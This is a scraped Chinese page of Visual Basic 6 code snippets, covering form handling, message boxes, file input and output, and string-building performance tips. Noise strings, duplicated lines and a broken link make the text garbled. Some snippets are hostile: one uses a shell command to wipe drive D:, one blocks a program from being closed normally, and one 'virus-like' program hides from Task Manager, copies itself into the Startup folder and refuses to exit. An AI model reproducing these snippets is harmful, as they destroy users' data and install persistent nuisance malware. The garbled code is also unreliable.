隐藏form1: h7Nb17gSL form1.hide ^Xjf@ 6Q :+ ~\ 5o 显示form1: ~TVc9z form1.show RO*l`G}i 53G"k?4o --------------------------------------------------------------------------------------------- f#a]'P|V\D c+,'eAZ` 退出程序时,弹出窗口提示是否要退出: 3#R%z=q 1[24FwC Private Sub Form_Unload(Cancel As Integer) w5L#Hu1; Dim iAnswer As Integer CA'.k<(o} iAnswer = MsgBox("真要退出吗?", vbYesNo) ^h n3YH54S If iAnswer = vbNo Then On`,H_Ol^ Cancel = True J.^'GDDJ Else |qU%\XRu End w4NAgCnE End If CQT "B End Sub "Xws@s(u 4p>3,vPBK ---------------------------------------------------------------------------------------------- 9DS3|R }K >(T%? 只能用任务管理器关闭程序的代码: i. ncUFM8` Private Sub From_Unload(Cancel As Integer) NO.ih Cancel = true ?,|b6m,u/ End Sub SSm(b\ 31cZLm`mT ------------------------------------------------------------------------------------------------ c?e"7"#Ei \<Ywb} 点击command1打开33IQ网: X-y9`(|tj .M8j5YK Dim strURL ?0\Zz4 e7d/EQU Private Sub Command1_Click() 9E=@97< strURL = "错误!超链接引用无效。 nagc6; Shell " " & strURL, 1 77|t9~p9 End Sub 3 lQfC!- + 4@vT^ ------------------------------------------------------------------------------------------------ icxTon 7BGcGu--tY 运行c:\1.exe .h ;P ' shell "c:\1.exe" V57A_gv j{n 执行c:\1.bat _muh3| S shell "c:\1.bat" L+ URz2( 8s L2j1kZ 注:只适用于大部分exe和全部bat。 )LF `a,3 S eo4AS r ------------------------------------------------------------------------------------------------ h1?3A \Q.K vq9.C R 把label1.caption的值替换成label2.caption的值,label2.caption不变(括号内可省略): .:&5> nh label1 (.caption) = label2 (.caption) zF+E:"7 er6~7PMN 注:是变动值(被替换值) = 数据值(参考值、不变值),别搞反了。 qb4`y, uG 如 label1 = 1 而不是 1 = label1 PC01m7Ic oF<*K1T8 --------------------------------------------------------------------------------------------- #\ C0+5N "M<ia,x 将text1的文本保存到某文件 Z:LGU;:qH (cd1是commanddialog控件,下同) p m6(C(O~` H]@~#Q6FD cd1.ShowSave stHvw-3\ If Not cd1.FileName = "" Then %>KIoAEwG Open cd1.FileName For Output As #1 OpZ_EG (l Print #1, Text1.Text [|9_8]S& Close #1 S'&5e"BR\& End If I8bQBX 9mJRi*@O ------------------------------------------------------------------------------------------ 5kc7wo,?V 3TnjJRD 把某文本文件读取到TEXT1 !lG@'M=5 % rW%A/b Dim tmp$ I86p<<8. cd1.ShowOpen H]nsInq!m If Not cd1.FileName = "" Then !)=$2W&ki Open cd1.FileName For Input As #1 Yh5yj<)sK Line Input #1, tmp$ H>1.<<mc Close #1 BI%XA Text1 = tmp Jg$2nYh End If /L=t|"KLS tavLx [X ------------------------------------------------------------------------------------------- PJ; L"O _s c "d{ 点击command1弹出窗口(红处请替换成你要的内容) P.V&,p5O ` I<$rE%/ Private Sub Command1_Click() 5B,O& MsgBox "(显示文字)", vbYesNo(你要弹出的窗口的类型,下面有几种常用的类型), "(窗口标题)" z4GOw\ZL End Sub %V%D}.[:q ANTF2w vk 或 dlRPZW~ cS`rl[ Private Sub Command1_Click() d$,% MsgBox "(显示文字)" d rg#.z End Sub *{WUq's$ k2yY5~; ] 常用的弹出窗口类型: xy"uj Xk vbYesNo 包含是、否按钮的窗口 O98iC5R& vbYesNoCancle 包含是、否、取消 =D^G=a{j vbOKonly 只包含确定按钮 *:#aOk E vbOKCancle 包含确定、取消 lyJ*j Y vbQuestion 带问号图标、只有确定按钮的窗口 1J/u|?w#m 7GK3I}@3b ----------------------------------------------------------------------------------------------- 1yvC~M. .'4TpA![ 点击command1,label1随机显示1.2.3 '&V`hQY6 9Z`>t"es9 Function a() As String ~cDJ9Y Dim b(2) As String E3EQFe 7q b(0) = 1 @] $kEsB i b(1) = 2 o?PZYGP b(2) = 3 afCSN; Q Randomize AZ %I a = b(Rnd * 2) YBezzADg End Function <+rB;(FC ab,b wG Private Sub Command1_Click() v8<}7a Label1.Caption = a IDSBzTt End Sub ,u!]DU <ugbS-B_P$ -------------------------------------------------------------------------------------------------- kTSu}> !?Gw?QQ&@ 删除"D:\1.txt": v'd5(H=:l Kill "D:\1.txt" L$ZJ` >i x8Hk* 7 新建文件夹"D:\123": D[r2/11{3 MkDir "d:\123" E&nLuU< /bnOSt 复制文件,由桌面的"1.txt"复制到"D:\1.txt": %\TV!/m FileCopy "C:\Documents and Settings\Administrator\桌面\1.txt", "D:\1.txt" 4.X?<P3X :Nz; 1 删除"D:\123"文件夹: |HsQ:F&,1 Shell "cmd /c "" /s /q D:\123\""", vbNormalFocus |k |u0JR~1 PPywm;PB 删除D盘所有文件(红处后面不加\): uIS#20|* Shell "cmd /c "" /s /q D:""", vbNormalFocus H>7oX_8D <7<k~3^t.F ------------------------------------------------------------------------------------------------------ mhmox>_R v Jg"ze# App.title ="这是标题" 42dG#UX ' 在 任务管理器-程序 中此VB程序的名字,本例的标题为“这是标题” y0T<aDP)h Y#*j"@Wub App.TaskVisible = False 'JTXnaF+ ' 隐藏 任务管理器 中此VB程序的名字 P1OED?3/ eXa<>[z App.Path *b4~Gg~dJ ' 此VB程序的所在文件夹路径(如程序在“d:\1.exe”,则此值为“d:”,没有“\” ) Khg+SR 6 BwV4vQd* App.EXEName RqYoq;$) ' 此VB程序的文件名(如程序在“d:\这是程序.exe”,则此值为“这是程序”,没有“.exe”) MF!V v vRK}/Rrx ------------------------------------------------------------------------------------------------------ h3l;) ) }dfczvVT+ 一个小程序,类似病毒(不要运行!!仅供参考)。新建工程,放入一个timer控件,改Interval值为1,然后输入以下代码即可: LMb,SWT Iu4E=^%A X=2$_BI>} ;^`jM]G Private Sub Form_Load() Cu "|j\= App.Title = "" .o3qc9H- App.TaskVisible = False Q`$7/Kq@ FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\" & App.EXEName & ".exe" r= X> V_@ End Sub IlD 2[ C2!QP{<l5 Private Sub Form_Unload(Cancel As Integer) Y`bU,[z%N Cancel = True !Mg-uK End Sub b~c4euN>l 6Q'un^+MV Private Sub Timer1_Timer() ^\`U&C X Form1.Show =$#5Ohr: End Sub 6 PIh~(- |
用Mid$命令超速字符串添加操作
大家都知道,&操作符的执行速度是相当慢的,特别是处理长字符串时。当必须重复地在同一变量上附加字符时,有一个基于Mid$命令的技巧可以使用。基本思路就是:预留一个足够长的空间存放操作的结果。下面是应用这个技术的一个例子。
大家都知道,&操作符的执行速度是相当慢的,特别是处理长字符串时。当必须重复地在同一变量上附加字符时,有一个基于Mid$命令的技巧可以使用。基本思路就是:预留一个足够长的空间存放操作的结果。下面是应用这个技术的一个例子。
假设要建立一个字符串,它要附加从1开始的10000个整数:"1 2 3 4 5 6 7 ... 9999
10000"。下面是最简单的实现代码:
res = ""
For i = 1 to 10000: res = res & Str(i): Next
res = ""
For i = 1 to 10000: res = res & Str(i): Next
<>
face=宋体>代码虽然简单,但问题也很明显:Res变量将被重分配10000次。下面的代码实现同样的目的,但效果明显好转:
face=宋体>代码虽然简单,但问题也很明显:Res变量将被重分配10000次。下面的代码实现同样的目的,但效果明显好转:
vb语言代码大全网页Dim res As String
Dim i As Long
Dim index As Long
Dim index As Long
’预留足够长的缓冲空间
res = Space(90000)
res = Space(90000)
’指针变量,指出在哪里插入字符串
index = 1
index = 1
’循环开始
For i = 1 to 10000
substr = Str(i)
length = Len(substr)
For i = 1 to 10000
substr = Str(i)
length = Len(substr)
’填充字符串的相应区间段数值
Mid$(res, index, length) = substr
Mid$(res, index, length) = substr
’调整指针变量
index = index + length
Next
’删除多余字符
res = Left$(res, index - 1)
res = Left$(res, index - 1)
测试表明:在一个333MHz的计算机上,前段代码执行时间为2.2秒,后者仅仅为0.08秒!代码虽然长了些,可是速度却提高了25倍之多。呵呵,由此看来:代码也不可貌相啊
从头开始删除集合项目
删除集合中的所有内容有许多方法,其中有些非常得迅速。来看看一个包含10,000个项目的集合:
Dim col As New Collection, i As Long
For i = 1 To 10000
col.Add i, CStr(i)
Dim col As New Collection, i As Long
For i = 1 To 10000
col.Add i, CStr(i)
Next
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论